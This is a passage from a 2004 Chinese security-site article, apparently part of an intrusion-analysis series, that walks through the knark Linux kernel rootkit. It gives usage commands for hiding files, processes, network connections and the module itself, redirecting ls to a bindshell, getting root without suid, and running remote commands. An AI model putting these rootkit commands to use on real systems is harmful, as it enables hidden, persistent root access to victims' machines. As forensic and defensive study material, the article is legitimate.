入侵分析 2
 网龙首页 | 操作系统 | 网络硬件 | 组网建网 | 网络建设 | 架站技术 | IT认证 | 网络安全 | 网络存储 | 网龙论坛
首页 >> 网络安全 >> 黑客攻击 >> 新闻正文

入侵分析 2

http://www.wapease.com/network/ 2004-7-20 浏览次数: [专题阅读]

 

nethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knark hacking的文章,里面有提到nethide,先当下一个来玩玩吧,有个版本号为knark-0.59的,是对Linux Kernel 2.2的,行……咱们先看看这是什么样的内核模块:

除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。

hidef 用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入
./hidef /boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能
找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝 :)

ered 用来重定向执行某个程序,比如说,你把一个bindshell的程序拷到/boot/.pty0/bindshell,
然后可以用./ered /bin/ls /boot/.pty0/bindshell这样的命令,将ls重定向到bindshell,
当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以
键入./ered -c

nethide 用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并
输出的,比如你要隐藏端口43981的连接信息,你必须键入:
./nethide ":ABCD "
你就可以象grep -v一样,过滤掉你不想让人看到的网络连接信息了,比如你用:
netstat -at
可能会有一行连接(ssh)的记录是这样的:
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED
我们来看看/proc/net/tcp里面的情况如何:
cat /proc/net/tcp
其中相应的行应该是这样的:
local_address rem_address blablabla...
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000
如果我们想隐藏关于127.0.0.1这个IP地址的所有信息,首先就必须把它“翻译”成这种格式,127用
十六进制表示是7F,0是00,1是01,于是地址就是0100007F,然后,再跟上端口22是0016,就是:
0100007F:0016了,于是我们键入:
./nethide "0100007F:0016" 便可以将其隐藏得很漂亮了。

rootme 利用这个家伙,你可以不需要suid位,就能拿到root的权限喽:
./rootme /bin/sh
你也可以用这种方式来运行:
./rootme /bin/ls -l /root
这里必须注意,要输入完整的路径名。


taskhack 可以改变运行着的进程的uid,euid,gid,egid等。
./taskhack -alluid=0 pid
这可以把该进程所有的*uid(uid, euid, suid, fsuid)都改成0
你用:
ps aux | grep bash
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

rexec 远程执行命令,比如:
./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER


knark还有一些其它的特性:
将信号31发送给某个进程,能够在/proc里将进程文件隐藏起来,这样ps及top
都无法看到,比如:
#kill -31 pid
如果这个进程还有它的子进程,那么也将一同被隐藏起来,所以如果你把你的shell
隐藏掉的话,所有你键入的进程将都是不可见的。如果你想再看看,被隐藏起来的进
程藏在什么地方的话,可以看/proc/knark/pids文件,这里列出所有隐藏的家伙;)

闯入一个系统中,sniffer总是入侵者们用来扩大战果的玩意儿,现在也存在许多小工具
能够侦测到网卡是否被置于混杂模式,但如果你加载了这个模块,当人们在查询SIOCGIFFLAGS
的标志位时,IFF_PROMISC——接口为随机(promiscuous)模式总是会被隐藏的。

这个包中还带有另一个小工具modhide,这个模块加载后,可以将最后加载至系统中的模块从
模块列表里移除——也就是/proc/module里面看不到它,示例如下:
#/sbin/insmod knark.o
#/sbin/lsmod | grep knark
knark 6640 0 (unused)
#/sbin/insmod modhide.o
#lsmod | grep knark
啥也没有了 ;)

最重要的是,我们可以在/proc/knark/目录——当然也是隐藏的——下面找到所有被藏起来的东西的资料。

四、分析

此新闻共有41 2 3 4

Google
 

收藏该文章 | 发送给好友 | 打印该文章 | 我要投稿 | 去论坛讨论

·服务器就是这样被黑的
·两分钟破解万象幻境
·网吧管理专家”密码破解
·评价攻击工具
·WindowsNT/2000密码破解教程
·黑客初步知识
·黑客是如何骗取你执行木马的
·基于NetBIOS的简单Windows攻击

共有评论查看评论
姓名:
发表评论请遵守相关规定!
*《互联网电子公告服务管理规定》
*《全国人大常委会关于维护互联网安全的规定》
万易简介 | 网站简介 | 栏目简介 | 服务报价 | 联系方式 | 万易诚聘 | 版权信息
万易网络 版权所有
www.wapease.com
未经书面许可,任何人不得转载本站信息
联系方式:Info@wapease.com 热线QQ:44977515